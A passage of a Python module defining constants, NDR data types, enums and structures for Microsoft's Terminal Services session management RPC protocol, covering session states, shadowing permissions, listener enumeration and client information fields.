\nWINSTATION_SET          = 0x00000002    # WinStationSetInformation() \nWINSTATION_RESET        = 0x00000004    # WinStationReset() \nWINSTATION_VIRTUAL      = 0x00000008    # read/write direct data \nWINSTATION_SHADOW       = 0x00000010    # WinStationShadow() \nWINSTATION_LOGON        = 0x00000020    # logon to WinStation \nWINSTATION_LOGOFF       = 0x00000040    # WinStationLogoff() \nWINSTATION_MSG          = 0x00000080    # WinStationMsg() \nWINSTATION_CONNECT      = 0x00000100    # WinStationConnect() \nWINSTATION_DISCONNECT   = 0x00000200    # WinStationDisconnect() \n\n\n################################################################################\n# Types\n################################################################################\n\n_NDRENUM = NDRENUM\nclass NDRENUM(_NDRENUM):\n    def dump(self, msg = None, indent = 0):\n        if msg is None:\n            msg = self.__class__.__name__\n        if msg != '':\n            print(msg, end=' ')\n\n        try:\n            print(\" %s\" % self.enumItems(self.fields['Data']).name, end=' ')\n        except:\n            print(\" %s\" % hex(self.fields['Data']), end=' ')\n\nclass TS_WCHAR(WSTR):\n    commonHdr = (\n        ('ActualCount','<L=len(Data)//2'),\n    )\n    commonHdr64 = (\n        ('ActualCount','<Q=len(Data)//2'),\n    )\n    structure = (\n        ('Data',':'),\n    )\n    def __getitem__(self, key):\n        if key == 'Data':\n            return self.fields[key].decode('utf-16le')\n        else:\n            return NDR.__getitem__(self,key)\n\nclass TS_LPWCHAR(NDRPOINTER):\n    referent = (\n        ('Data', TS_WCHAR),\n    )\n\nclass TS_CHAR(STR):\n    commonHdr = (\n        ('ActualCount','<L=len(Data)'),\n    )\n    commonHdr64 = (\n        ('ActualCount','<Q=len(Data)'),\n    )\n    structure = (\n        ('Data',':'),\n    )\n    def __getitem__(self, key):\n        if key == 'Data':\n            return self.fields[key]\n        else:\n            return NDR.__getitem__(self,key)\n\nclass SYSTEM_TIMESTAMP(NDRHYPER):\n    def __getitem__(self, key):\n        if key == 'Data':\n            return datetime(1601, 1, 1) + timedelta(microseconds=int(str(self.fields[key])) // 10)\n        else:\n            return NDR.__getitem__(self,key)\n\n\n# 2.2.2.15.1.1 TS_UNICODE_STRING\nclass TS_UNICODE_STRING(NDRSTRUCT):\n    '''\n    typedef struct _TS_UNICODE_STRING {\n        USHORT Length;\n        USHORT MaximumLength;\n        #ifdef __midl\n            [size_is(MaximumLength),length_is(Length)]PWSTR Buffer;\n        #else\n            PWSTR Buffer;\n        #endif\n    } TS_UNICODE_STRING;\n    '''\n    structure = (\n        ('Length', USHORT),\n        ('MaximumLength', USHORT),\n        ('Buffer', LPWSTR),\n    )\n\nclass TS_LPCHAR(NDRPOINTER):\n    referent = (\n        ('Data', TS_CHAR),\n    )\nTS_PBYTE = TS_LPCHAR\n\nclass TS_WCHAR_STRIPPED(TS_WCHAR):\n    def __getitem__(self, key):\n        if key == 'Data':\n            return self.fields[key].decode('utf-16le').strip('\\x00')\n        else:\n            return NDR.__getitem__(self,key)\n\n\nclass WIDESTR_STRIPPED(WIDESTR):\n    length = None\n    def __getitem__(self, key):\n        if key == 'Data':\n            return self.fields[key].decode('utf-16le').rstrip('\\x00')\n        else:\n            return NDR.__getitem__(self,key)\n    def getDataLen(self, data, offset=0):\n        if self.length is None:\n            return super().getDataLen(data, offset)\n        return self.length * 2\n\nclass WSTR_STRIPPED(WSTR):\n    def __getitem__(self, key):\n        if key == 'Data':\n            return self.fields[key].decode('utf-16le').rstrip('\\x00')\n        else:\n            return NDR.__getitem__(self,key)\n\nclass LPWCHAR_STRIPPED(NDRPOINTER):\n    referent = ( \n        ('Data', WIDESTR_STRIPPED),\n    )\n\nclass LONG_ARRAY(NDRUniConformantArray):\n    item = 'L'\n    def __getitem__(self, key):\n        if key == 'Data':\n            return b''.join(self.fields[key])\n        else:\n            return NDR.__getitem__(self,key)\n\nclass UCHAR_ARRAY(NDRUniConformantArray):\n    item = 'c'\n\nclass LPUCHAR_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data', UCHAR_ARRAY),\n    )\nclass WCHAR_ARRAY_32(WIDESTR_STRIPPED):\n    length = 32\nclass WCHAR_ARRAY_256(WIDESTR_STRIPPED):\n    length = 256\nclass WCHAR_ARRAY_33(WIDESTR_STRIPPED):\n    length = 33    \nclass WCHAR_ARRAY_21(WIDESTR_STRIPPED):\n    length = 21\nclass WCHAR_ARRAY_18(WIDESTR_STRIPPED):\n    length = 18\nclass WCHAR_ARRAY_4(WIDESTR_STRIPPED):\n    length = 4\nclass WCHAR_CLIENTNAME_LENGTH(WIDESTR_STRIPPED):\n    length = CLIENTNAME_LENGTH + 1\nclass WCHAR_DOMAIN_LENGTH(WIDESTR_STRIPPED):\n    length = DOMAIN_LENGTH + 1\nclass WCHAR_USERNAME_LENGTH(WIDESTR_STRIPPED):\n    length = USERNAME_LENGTH + 1\nclass WCHAR_PASSWORD_LENGTH(WIDESTR_STRIPPED):\n    length = PASSWORD_LENGTH + 1\nclass WCHAR_DIRECTORY_LENGTH(WIDESTR_STRIPPED):\n    length = DIRECTORY_LENGTH + 1\nclass WCHAR_INITIALPROGRAM_LENGTH(WIDESTR_STRIPPED):\n    length = INITIALPROGRAM_LENGTH + 1\nclass WCHAR_CLIENTADDRESS_LENGTH(WIDESTR_STRIPPED):\n    length = CLIENTADDRESS_LENGTH + 1\nclass WCHAR_IMEFILENAME_LENGTH(WIDESTR_STRIPPED):\n    length = IMEFILENAME_LENGTH + 1\nclass WCHAR_CLIENTLICENSE_LENGTH(WIDESTR_STRIPPED):\n    length = CLIENTLICENSE_LENGTH + 1\nclass WCHAR_CLIENTMODEM_LENGTH(WIDESTR_STRIPPED):\n    length = CLIENTMODEM_LENGTH + 1\nclass WCHAR_AUDIODRIVENAME_LENGTH(WIDESTR_STRIPPED):\n    length = AUDIODRIVENAME_LENGTH\nclass WCHAR_CLIENT_PRODUCT_ID_LENGTH(WIDESTR_STRIPPED):\n    length = CLIENT_PRODUCT_ID_LENGTH\nclass WCHAR_NASIFILESERVER_LENGTH(WIDESTR_STRIPPED):\n    length = NASIFILESERVER_LENGTH + 1\nclass WCHAR_CALLBACK_LENGTH(WIDESTR_STRIPPED):\n    length = CALLBACK_LENGTH + 1\nclass WCHAR_MAX_BR_NAME(WIDESTR_STRIPPED):\n    length = MAX_BR_NAME\nclass WCHAR_WINSTATIONCOMMENT_LENGTH(WIDESTR_STRIPPED):\n    length = WINSTATIONCOMMENT_LENGTH + 1\n\n################################################################################\n# Helpers\n################################################################################\n\nclass DCERPCSessionError(DCERPCException):\n    def __init__(self, error_string=None, error_code=None, packet=None):\n        DCERPCException.__init__(self, error_string, error_code, packet)\n    def __str__( self ):\n        key = self.error_code & 0xffff\n        if key in system_errors.ERROR_MESSAGES:\n            error_msg_short = system_errors.ERROR_MESSAGES[key][0]\n            error_msg_verbose = system_errors.ERROR_MESSAGES[key][1] \n            return 'TSTS SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)\n        else:\n            return 'TSTS SessionError: unknown error code: 0x%x' % self.error_code\n\ndef ZEROPAD(data, size = None):\n    if size is None:\n        size = len(data)+1\n    assert len(data) <= size, 'Invalid data size!'\n    data += '\\0' * ( size - len(data) )\n    return data\n\ndef getUnixTime(t):\n    t -= 116444736000000000\n    t /= 10000000\n    return t\n\ndef enum2value(enum, key):\n    return enum.enumItems._value2member_map_[key]._name_\n    \nclass SID(TS_CHAR):\n    def known_sid(self, sid):\n        knownSids = {\n            'S-1-5-10': r'SELF',\n            'S-1-5-13': r'TERMINAL SERVER USER',\n            'S-1-5-11': r'Authenticated Users',\n            'S-1-5-12': r'RESTRICTED',\n            'S-1-5-14': r'Authenticated Users',\n            'S-1-5-15': r'This Organization',\n            'S-1-5-17': r'IUSR',\n            'S-1-5-18': r'SYSTEM',\n            'S-1-5-19': r'LOCAL SERVICE',\n            'S-1-5-20': r'NETWORK SERVICE',\n        }\n        if sid.startswith('S-1-5-90-0-') and len(sid.split('-')) == 6:\n            return 'DWM-{}'.format(int(sid.split('-')[-1]))\n        elif sid.startswith('S-1-5-96-0-') and len(sid.split('-')) == 6:\n            return 'UMFD-{}'.format(int(sid.split('-')[-1]))\n        elif sid in knownSids:\n            return knownSids[sid]\n        return sid\n    def __getitem__(self, key):\n        if key == 'Data':\n            sid = format_sid(self.fields[key])\n            if not len(sid):\n                return ''\n            return self.known_sid(sid)\n        else:\n            return NDR.__getitem__(self,key)\n\n################################################################################\n# Handles\n################################################################################\n\nclass context_handle(NDRSTRUCT):\n    structure = (\n         ('context_handle_attributes',ULONG),\n         ('context_handle_uuid',UUID),\n    )\n    def getUUID(self):\n        return bin_to_string(self['context_handle_uuid'])\n    def tuple(self):\n        return (bin_to_string(self['context_handle_uuid']),self['context_handle_attributes'])\n    def from_tuple(self, tup):\n        self['context_handle_uuid'], self['context_handle_attributes'] = (string_to_bin(tup[0]), tup[1])\n    def __init__(self, data=None, isNDR64=False):\n        NDRSTRUCT.__init__(self, data, isNDR64)\n        self['context_handle_uuid'] = b'\\x00'*16\n    def isNull(self):\n        return self['context_handle_uuid'] == b'\\x00'*16\n    def __str__(self):\n        return bin_to_string(self['context_handle_uuid'])\n\nclass handle_t(NDRSTRUCT):\n    structure =  (\n        ('Data','20s=b\"\"'),\n    )\n    def getAlignment(self):\n        if self._isNDR64 is True:\n            return 8\n        else:\n            return 4\n\n# 2.2.1.2 ENUM_HANDLE\nENUM_HANDLE = context_handle\n\nclass pHandle(NDRPOINTER):\n    referent =  (\n        ('Data', handle_t),\n    )\n# 2.2.1.3 HLISTENER\nHLISTENER = context_handle\n\n# 2.2.1.4 SERVER_HANDLE\nSERVER_HANDLE = context_handle\n\n# 2.2.1.15 NOTIFY_HANDLE\nNOTIFY_HANDLE = context_handle\n\n# 2.2.1.1 SESSION_HANDLE\nSESSION_HANDLE = context_handle\n\n################################################################################\n# Structures\n################################################################################\n\nclass MSGBOX_ENUM(NDRENUM):\n    class enumItems(Enum):\n        IDABORT     = 3     # The Abort button was selected.\n        IDCANCEL    = 2     # The Cancel button was selected.\n        IDIGNORE    = 5     # The Ignore button was selected.\n        IDNO        = 7     # The No button was selected.\n        IDOK        = 1     # The OK button was selected.\n        IDRETRY     = 4     # The Retry button was selected.\n        IDYES       = 6     # The Yes button was selected.\n        IDASYNC     = 32001 # The bDoNotWait parameter was TRUE, so the function returned without waiting for a response.\n        IDTIMEOUT   = 32000 # The bDoNotWait parameter was FALSE and the time-out interval elapsed.\n\nclass ShutdownFlags(NDRENUM):\n    structure = (\n        ('Data','<L'),\n    )\n    class enumItems(Enum):\n        WSD_LOGOFF   = 0x00000001 # Forces sessions to logoff.\n        WSD_SHUTDOWN = 0x00000002 # Shuts down the system.\n        WSD_REBOOT   = 0x00000004 # Reboots after shutdown.\n        WSD_POWEROFF = 0x00000008 # Powers off after shutdown.\n\nclass HotKeyModifiers(NDRENUM):\n    structure = (\n        ('Data', '<H'),\n    )\n    NONE        = 0\n    Alt         = 1     # MOD_ALT\n    Control     = 2     # MOD_CONTROL\n    Shift       = 4     # MOD_SHIFT\n    WindowsKey  = 8     # MOD_WIN\n\n\nclass EventFlags(NDRENUM):\n    structure = (\n        ('Data','<L'),\n    )\n    class enumItems(Enum):\n        WEVENT_NONE         = 0x00000000    # The client requests to clear its event wait block. This MUST be called when completing waiting for the event. When RpcWinStationCloseServer is called for hServer, this method and mask value is called on the client's behalf.\n        WEVENT_CREATE       = 0x00000001    # Wait for a new session to be created.\n        WEVENT_DELETE       = 0x00000002    # Wait for an existing session to be deleted.\n        WEVENT_RENAME       = 0x00000004    # Wait for a session to be renamed.\n        WEVENT_CONNECT      = 0x00000008    # The session connected to a client.\n        WEVENT_DISCONNECT   = 0x00000010    # A client disconnected from the session.\n        WEVENT_LOGON        = 0x00000020    # A user logged on to the session.\n        WEVENT_LOGOFF       = 0x00000040    # A user logged off from the session.\n        WEVENT_STATECHANGE  = 0x00000080    # The session state changed.\n        WEVENT_LICENSE      = 0x00000100    # The license state changed.<183>\n        WEVENT_ALL          = 0x7fffffff    # Wait for all event types.\n        WEVENT_FLUSH        = 0x80000000    # Release all waiting clients.\n\nclass ADDRESSFAMILY_ENUM(NDRENUM):\n    structure = (\n        ('Data','<L'),\n    )\n    class enumItems(Enum):\n        AppleTalk               = 16\n        Atm                     = 22\n        Banyan                  = 21\n        Ccitt                   = 10\n        Chaos                   = 5\n        Cluster                 = 24\n        ControllerAreaNetwork   = 65537\n        DataKit                 = 9\n        DataLink                = 13\n        DecNet                  = 12\n        Ecma                    = 8\n        FireFox                 = 19\n        HyperChannel            = 15\n        Ieee12844               = 25\n        ImpLink                 = 3\n        InterNetwork            = 2\n        InterNetworkV6          = 23\n        Ipx                     = 6\n        Irda                    = 26\n        Iso                     = 7\n        Lat                     = 14\n        Max                     = 29\n        NetBios                 = 17\n        NetworkDesigners        = 28\n        NS                      = 6\n        Osi                     = 7\n        Packet                  = 65536\n        Pup                     = 4\n        Sna                     = 11\n        Unix\t                = 1\t\n        Unspecified             = 0\n        VoiceView               = 18\n\n# 2.2.1.5 WINSTATIONNAME #FIXME\nclass WINSTATIONNAME(WIDESTR_STRIPPED):\n    length = WINSTATIONNAME_LENGTH + 1\n\n# 2.2.1.6 DLLNAME\nclass DLLNAME(WIDESTR):\n    def getDataLen(self, data, offset=0):\n        return DLLNAME_LENGTH + 1\n\nclass PDLLNAME(NDRPOINTER):\n    referent = (\n        ('Data', DLLNAME),\n    )\n\n# 2.2.1.7 DLLNAME\nclass DEVICENAME(WIDESTR):\n    def getDataLen(self, data, offset=0):\n        return DEVICENAME_LENGTH + 1\n\nclass PDEVICENAME(NDRPOINTER):\n    referent = (\n        ('Data', DEVICENAME),\n    )\n\n\n# 2.2.1.13 CLIENTDATANAME #FIXME\nclass CLIENTDATANAME(STR):\n    def getDataLen(self, data, offset=0):\n        return CLIENTDATANAME_LENGTH + 1\n\nclass PCLIENTDATANAME(NDRPOINTER):\n    referent = (\n        ('Data', CLIENTDATANAME),\n    )\n\n\n# 2.2.1.8 WINSTATIONINFOCLASS\nclass WINSTATIONINFOCLASS(NDRENUM):\n    class enumItems(Enum):\n        WinStationCreateData                = 0\n        WinStationConfiguration             = 1\n        WinStationPdParams                  = 2\n        WinStationWd                        = 3\n        WinStationPd                        = 4\n        WinStationPrinter                   = 5\n        WinStationClient                    = 6\n        WinStationModules                   = 7\n        WinStationInformation               = 8\n        WinStationTrace                     = 9\n        WinStationBeep                      = 10\n        WinStationEncryptionOff             = 11\n        WinStationEncryptionPerm            = 12\n        WinStationNtSecurity                = 13\n        WinStationUserToken                 = 14\n        WinStationUnused1                   = 15\n        WinStationVideoData                 = 16\n        WinStationInitialProgram            = 17\n        WinStationCd                        = 18\n        WinStationSystemTrace               = 19\n        WinStationVirtualData               = 20\n        WinStationClientData                = 21\n        WinStationSecureDesktopEnter        = 22\n        WinStationSecureDesktopExit         = 23\n        WinStationLoadBalanceSessionTarget  = 24\n        WinStationLoadIndicator             = 25\n        WinStationShadowInfo                = 26\n        WinStationDigProductId              = 27\n        WinStationLockedState               = 28\n        WinStationRemoteAddress             = 29\n        WinStationIdleTime                  = 30\n        WinStationLastReconnectType         = 31\n        WinStationDisallowAutoReconnect     = 32\n        WinStationUnused2                   = 33\n        WinStationUnused3                   = 34\n        WinStationUnused4                   = 35\n        WinStationUnused5                   = 36\n        WinStationReconnectedFromId         = 37\n        WinStationEffectsPolicy             = 38\n        WinStationType                      = 39\n        WinStationInformationEx             = 40\n\n# 2.2.1.9 WINSTATIONSTATECLASS\nclass WINSTATIONSTATECLASS(NDRENUM):\n    structure = (\n        ('Data', '<L'),\n    )\n    class enumItems(Enum):\n        State_Active        = 0 # A user is logged on to a session and the client is connected.\n        State_Connected     = 1 # A client is connected to a session but the user has not yet logged on.\n        State_ConnectQuery  = 2 # A session is in the process of connecting to a client.\n        State_Shadow        = 3 # A session is shadowing another session\n        State_Disconnected  = 4 # A user is logged on to the session but the client is currently disconnected from the server.\n        State_Idle          = 5 # A session is waiting for a client to connect to the server.\n        State_Listen        = 6 # A listener is waiting for connections from the Terminal Services client.\n        State_Reset         = 7 # A session is being reset. As a result, the user is logged off, the session is terminated, and the client is disconnected.\n        State_Down          = 8 # A session is currently tearing down or is in the down state, indicating an error.\n        State_Init          = 9 # A session is in the process of being initialized.\n\n# 2.2.1.10 SDCLASS\nclass SDCLASS(NDRENUM):\n    class enumItems(Enum):\n        SdNone          = 0\n        SdConsole       = 1\n        SdNetwork       = 2\n        SdAsync         = 3\n        SdOemTransport  = 4\n\n# 2.2.1.11 SHADOWCLASS\nclass SHADOWCLASS(NDRENUM):\n    class enumItems(Enum):\n        Shadow_Disable                  = 0\n        Shadow_EnableInputNotify        = 1\n        Shadow_EnableInputNoNotify      = 2\n        Shadow_EnableNoInputNotify      = 3\n        Shadow_EnableNoInputNoNotify    = 4\n\n# 2.2.1.12 SHADOWCLASS\nclass RECONNECT_TYPE(NDRENUM):\n    class enumItems(Enum):\n        NeverReconnected = 0\n        ManualReconnect  = 1\n        AutoReconnect    = 2\n\nclass PRECONNECT_TYPE(NDRPOINTER):\n    referent = (\n        ('Data', RECONNECT_TYPE),\n    )\n\n# 2.2.1.6 BOUNDED_ULONG\nBOUNDED_ULONG = ULONG #FIXME: typedef [range(0, 0x8000)] ULONG BOUNDED_ULONG; as scmr.py@282 it should work\n\n# 2.2.1.17 UINT_PTR\nclass UINT_PTR(NDRPOINTER):\n    referent = ( \n        ('Data', UINT),\n    )\n\n# 2.2.1.18 SESSIONTYPE\nclass SESSIONTYPE(NDRENUM):\n    class enumItems(Enum):\n        SESSIONTYPE_UNKNOWN         = 0 # The type of the session cannot be determined.\n        SESSIONTYPE_SERVICES        = 1 # The session is used only to run the operating system services, and that no user can be logged on to the session.\n        SESSIONTYPE_LISTENER        = 2 # The session is used only to run the Terminal Services listeners, and that no user can be logged on to the session.\n        SESSIONTYPE_REGULARDESKTOP  = 3 # The session is connected by using Terminal Services and is running the standard shell.\n        SESSIONTYPE_ALTERNATESHELL  = 4 # The session is connected by using Terminal Services and is running an alternate shell instead of the standard shell\n        SESSIONTYPE_REMOTEAPP       = 5 # The session is a RAIL (Remote Applications Integrated Locally) session as defined in [MS-RDPERP].\n        SESSIONTYPE_MEDIACENTEREXT  = 6 # The session was connected by using a media center extender device. For more information about the media center, see [MSFT-WINMCE].\n\n# 2.2.1.19 SHADOW_CONTROL_REQUEST\nclass SHADOW_CONTROL_REQUEST(NDRENUM):\n    class enumItems(Enum):\n        SHADOW_CONTROL_REQUEST_VIEW         = 0 # The shadow request is for a view-only session. User input is not being requested.\n        SHADOW_CONTROL_REQUEST_TAKECONTROL  = 1 # User input control is being requested.\n        SHADOW_CONTROL_REQUEST_Count        = 2 # Count of enum values.\n\n# 2.2.1.20 SHADOW_PERMISSION_REQUEST\nclass SHADOW_PERMISSION_REQUEST(NDRENUM):\n    class enumItems(Enum):\n        SHADOW_PERMISSION_REQUEST_SILENT            = 0 # Permission is not requested.\n        SHADOW_PERMISSION_REQUEST_REQUESTPERMISSION = 1 # User permission will be requested before the shadow session begins.\n        SHADOW_PERMISSION_REQUEST_Count             = 2 # Count of enum values.\n\n# 2.2.1.21 SHADOW_REQUEST_RESPONSE\nclass SHADOW_REQUEST_RESPONSE(NDRENUM):\n    class enumItems(Enum):\n        SHADOW_REQUEST_RESPONSE_ALLOW                                   = 0 # The user has granted the request for permission to shadow the session.\n        SHADOW_REQUEST_RESPONSE_DECLINE                                 = 1 # The user has declined the request for permission to shadow the session.\n        SHADOW_REQUEST_RESPONSE_POLICY_PERMISSION_REQUIRED              = 2 # Permission was not requested, but group policy specifies that permission is required.\n        SHADOW_REQUEST_RESPONSE_POLICY_DISABLED                         = 3 # Shadowing has been disabled by group policy.\n        SHADOW_REQUEST_RESPONSE_POLICY_VIEW_ONLY                        = 4 # A request for control was made, but group policy exclusively allows view-only shadowing.\n        SHADOW_REQUEST_RESPONSE_POLICY_VIEW_ONLY_PERMISSION_REQUIRED    = 5 # A request was made to take control without requesting permission,\n                                                                            # but group policy exclusively allows viewonly shadowing and also requires permission.\n        SHADOW_REQUEST_RESPONSE_SESSION_ALREADY_CONTROLLED              = 6 # The session cannot be shadowed because another shadow session is currently controlling the session.\n\n# 2.2.2.1 SESSION_FILTER #FIXME\nclass SESSION_FILTER(NDRENUM):\n    class enumItems(Enum):\n        SF_SERVICES_SESSION_POPUP = 0\n\n# 2.2.2.2 PROTOCOLSTATUS_INFO_TYPE\nclass PROTOCOLSTATUS_INFO_TYPE(NDRENUM):\n    class enumItems(Enum):\n        PROTOCOLSTATUS_INFO_BASIC    = 0\n        PROTOCOLSTATUS_INFO_EXTENDED = 1\n\n# 2.2.2.3 QUERY_SESSION_DATA_TYPE\nclass QUERY_SESSION_DATA_TYPE(NDRENUM):\n    class enumItems(Enum):\n        QUERY_SESSION_DATA_MODULE               = 0\n        QUERY_SESSION_DATA_WDCONFIG             = 1\n        QUERY_SESSION_DATA_VIRTUALDATA          = 2\n        QUERY_SESSION_DATA_LICENSE              = 3\n        QUERY_SESSION_DATA_DEVICEID             = 4\n        QUERY_SESSION_DATA_LICENSE_VALIDATION   = 5\n\n\n# 2.2.2.4.1.1 SESSIONENUM_LEVEL1\nclass SESSIONENUM_LEVEL1(NDRSTRUCT):\n    structure = (\n        ('SessionId', LONG),\n        ('State', WINSTATIONSTATECLASS),\n        ('Name', WCHAR_ARRAY_33)\n    )\n\n# 2.2.2.4.1.2 SESSIONENUM_LEVEL2\nclass SESSIONENUM_LEVEL2(NDRSTRUCT):\n    structure = (\n        ('SessionId', LONG),\n        ('State', WINSTATIONSTATECLASS),\n        ('Name', WCHAR_ARRAY_33), # WCHAR Name[33]\n        ('Source', ULONG),\n        ('bFullDesktop', BOOLEAN),\n        ('SessionType', GUID),\n    )\n\n# 2.2.2.4.1.3 SESSIONENUM_LEVEL3\nclass SESSIONENUM_LEVEL3(NDRSTRUCT):\n    structure = (\n        ('SessionId', LONG),\n        ('State', WINSTATIONSTATECLASS),\n        ('Name', WCHAR_ARRAY_33),\n        ('Source', ULONG),\n        ('bFullDesktop', BOOLEAN),\n        ('SessionType', GUID),\n        ('ProtoDataSize', ULONG),\n        ('pProtocolData', UCHAR),\n    )\n\n\n# 2.2.2.4.1 SessionInfo\nclass SessionInfo(NDRUNION):\n    commonHdr = (\n        ('tag', DWORD),\n    )\n    union = {\n        1: ('SessionEnum_Level1', SESSIONENUM_LEVEL1),\n        2: ('SessionEnum_Level2', SESSIONENUM_LEVEL2),\n        3: ('SessionEnum_Level3', SESSIONENUM_LEVEL3),\n    }\n\nclass SessionInfo_STRUCT(NDRSTRUCT):\n    structure = (\n        ('Level', DWORD),\n        ('SessionInfo', SessionInfo),\n    )\n\n# 2.2.2.4 PSESSIONENUM\nclass SESSIONENUM(NDRUniConformantArray):\n    item = SessionInfo_STRUCT\n\nclass PSESSIONENUM(NDRPOINTER):\n    referent = (\n        ('Data', SESSIONENUM),\n    )\n\n# 2.2.2.5.1 SessionInfo_Ex\nSessionInfo_Ex = SessionInfo\n\n# 2.2.2.5 PSESSIONENUM_EX\nPSESSIONENUM_EX = SESSIONENUM\n\n# 2.2.2.6.1.1 EXECENVDATA_LEVEL1\nclass EXECENVDATA_LEVEL1(NDRSTRUCT):\n    structure = (\n        ('ExecEnvId', LONG),\n        ('State', WINSTATIONSTATECLASS),\n        ('SessionName', WCHAR_ARRAY_33),\n    )\nclass PEXECENVDATA_LEVEL1(NDRPOINTER):\n    referent =  ( \n        ('Data', EXECENVDATA_LEVEL1),\n    )\n# 2.2.2.6.1.2 EXECENVDATA_LEVEL2\nclass EXECENVDATA_LEVEL2(NDRSTRUCT):\n    structure = (\n        ('ExecEnvId', LONG),\n        ('State', WINSTATIONSTATECLASS),\n        ('SessionName', WCHAR_ARRAY_33),\n        ('AbsSessionId', LONG),\n        ('HostName', WCHAR_ARRAY_33),\n        ('UserName', WCHAR_ARRAY_33),\n        ('DomainName', WCHAR_ARRAY_33),\n        ('FarmName', WCHAR_ARRAY_33),\n    )\nclass PEXECENVDATA_LEVEL2(NDRPOINTER):\n    referent =  ( \n        ('Data', EXECENVDATA_LEVEL2),\n    )\n# 2.2.2.6.1 ExecEnvData\nclass ExecEnvData(NDRUNION):\n    commonHdr = (\n        ('tag', DWORD),\n    )\n    union = {\n        1: ('ExecEnvEnum_Level1', EXECENVDATA_LEVEL1),\n        2: ('ExecEnvEnum_Level2', EXECENVDATA_LEVEL2),\n    }\n\nclass ExecEnvData_STRUCT(NDRSTRUCT):\n    structure = (\n        ('Level', DWORD),\n        ('ExecEnvData', ExecEnvData),\n    )\n\n# 2.2.2.6 PEXECENVDATA\nclass EXECENVDATA(NDRUniConformantArray):\n    item = ExecEnvData_STRUCT\n\nclass PEXECENVDATA(NDRPOINTER):\n    referent =  ( \n        ('Data', EXECENVDATA),\n    )\n\n\n# 2.2.2.7.1.1 EXECENVDATAEX_LEVEL1\nclass EXECENVDATAEX_LEVEL1(NDRSTRUCT):\n    #FIXME this structure does not work :(\n    '''\n        structure = (\n            ('ExecEnvId', LONG),\n            ('State', WINSTATIONSTATECLASS),\n            ('AbsSessionId', LONG),\n            ('pszSessionName', WIDESTR),\n            ('pszHostName', WIDESTR),\n            ('pszUserName', WIDESTR),\n            ('pszFarmName', WIDESTR),\n        )\n    '''\n    pass\n\n# 2.2.2.7.1 ExecEnvDataEx\nclass ExecEnvDataEx(NDRUNION):\n    commonHdr = (\n        ('tag', DWORD),\n    )\n    union = {\n        1: ('ExecEnvEnum_Level1', EXECENVDATAEX_LEVEL1),\n    }\n\n# 2.2.2.7 PEXECENVDATAEX\nclass EXECENVDATAEX(NDRUniConformantArray):\n    item = ExecEnvDataEx\n\nclass PEXECENVDATAEX(NDRPOINTER):\n    referent =  ( \n        ('Data', EXECENVDATAEX),\n    )\n\n# 2.2.2.12.1.1 LISTENERENUM_LEVEL1\nclass LISTENERENUM_LEVEL1(NDRSTRUCT):\n    structure = (\n        ('Id', LONG),\n        ('bListening', BOOL),\n        ('Name', WCHAR_ARRAY_33),\n    )\n\n# 2.2.2.12.1 ListenerInfo\nclass ListenerInfo(NDRUNION):\n    commonHdr = (\n        ('tag', DWORD),\n    )\n    union = {\n        1: ('ListenerEnum_Level1', LISTENERENUM_LEVEL1),\n    }\n\nclass ListenerInfo_STRUCT(NDRSTRUCT):\n    structure = (\n        ('Level', DWORD),\n        ('ListenerInfo', ListenerInfo),\n    )\n\n# 2.2.2.12 PLISTENERENUM\nclass LISTENERENUM(NDRUniConformantArray):\n    item = ListenerInfo_STRUCT\n\nclass PLISTENERENUM(NDRPOINTER):\n    referent = (\n        ('Data', LISTENERENUM),\n    )    \n# 2.2.2.8 PLSMSESSIONINFORMATION\nclass LSMSESSIONINFORMATION(NDRSTRUCT):\n    structure = (\n        ('pszUserName', LPWCHAR_STRIPPED),\n        ('pszDomain', LPWCHAR_STRIPPED),\n        ('pszTerminalName', LPWCHAR_STRIPPED),\n        ('SessionState', WINSTATIONSTATECLASS),\n        ('DesktopLocked', BOOLEAN),\n        ('ConnectTime', SYSTEM_TIMESTAMP),\n        ('DisconnectTime', SYSTEM_TIMESTAMP),\n        ('LogonTime', SYSTEM_TIMESTAMP),\n    )\n\n\n# 2.2.2.19.1.1 TS_SYSTEMTIME\nclass TS_SYSTEMTIME(NDRSTRUCT):\n    structure = (\n        ('wYear', USHORT),\n        ('wMonth', USHORT),\n        ('wDayOfWeek', USHORT),\n        ('wDay', USHORT),\n        ('wHour', USHORT),\n        ('wMinute', USHORT),\n        ('wSecond', USHORT),\n        ('wMilliseconds', USHORT),\n    )  \n\n# 2.2.2.19.1 TS_TIME_ZONE_INFORMATION\nclass TS_TIME_ZONE_INFORMATION(NDRSTRUCT):\n    structure = (\n        ('Bias', ULONG),\n        ('StandardName', WCHAR_ARRAY_32),\n        ('StandardDate', TS_SYSTEMTIME),\n        ('StandardBias', ULONG),\n        ('DaylightName', WCHAR_ARRAY_32),\n        ('DaylightDate', TS_SYSTEMTIME),\n        ('DaylightBias', ULONG),\n    )  \n\n\n# 2.2.2.19 WINSTATIONCLIENT\nclass WINSTATIONCLIENT(NDRSTRUCT):\n    class FLAGS(NDRSTRUCT):\n        # a little hack to extrack bit flags\n        structure = (\n            ('flags','6s=b\"\"'),\n        )\n        def __getitem__(self, key):\n            if key == 'flags':\n                flagsInt = int.from_bytes(self.fields[key][2:],'little')\n                keys = {'fTextOnly'           : False,\n                        'fDisableCtrlAltDel'  : False,\n                        'fMouse'              : False,\n                        'fDoubleClickDetect'  : False,\n                        'fINetClient'         : False,\n                        'fPromptForPassword'  : False,\n                        'fMaximizeShell'      : False,\n                        'fEnableWindowsKey'   : False,\n                        'fRemoteConsoleAudio' : False,\n                        'fPasswordIsScPin'    : False,\n                        'fNoAudioPlayback'    : False,\n                        'fUsingSavedCreds'    : False,\n                        'fRestrictedLogon'    : False\n                }\n                for k in keys:\n                    keys[k] = bool(flagsInt & 1)\n                    flagsInt >>= 1\n                return keys\n            else:\n                return NDR.__getitem__(self,key)\n\n    structure = (\n        # I have no idea to to do it properly, so i'm parsing bit flags inside another structure class\n        ('flags', FLAGS),\n        ('ClientName', WCHAR_CLIENTNAME_LENGTH),\n        ('Domain', WCHAR_DOMAIN_LENGTH),\n        ('UserName', WCHAR_USERNAME_LENGTH),\n        ('Password', WCHAR_PASSWORD_LENGTH),\n        ('WorkDirectory', WCHAR_DIRECTORY_LENGTH),\n        ('InitialProgram', WCHAR_INITIALPROGRAM_LENGTH),\n        ('SerialNumber', ULONG),\n        ('EncryptionLevel', BYTE),\n        ('ClientAddressFamily', ADDRESSFAMILY_ENUM),\n        ('ClientAddress', WCHAR_CLIENTADDRESS_LENGTH),\n        ('HRes', USHORT),\n        ('VRes', 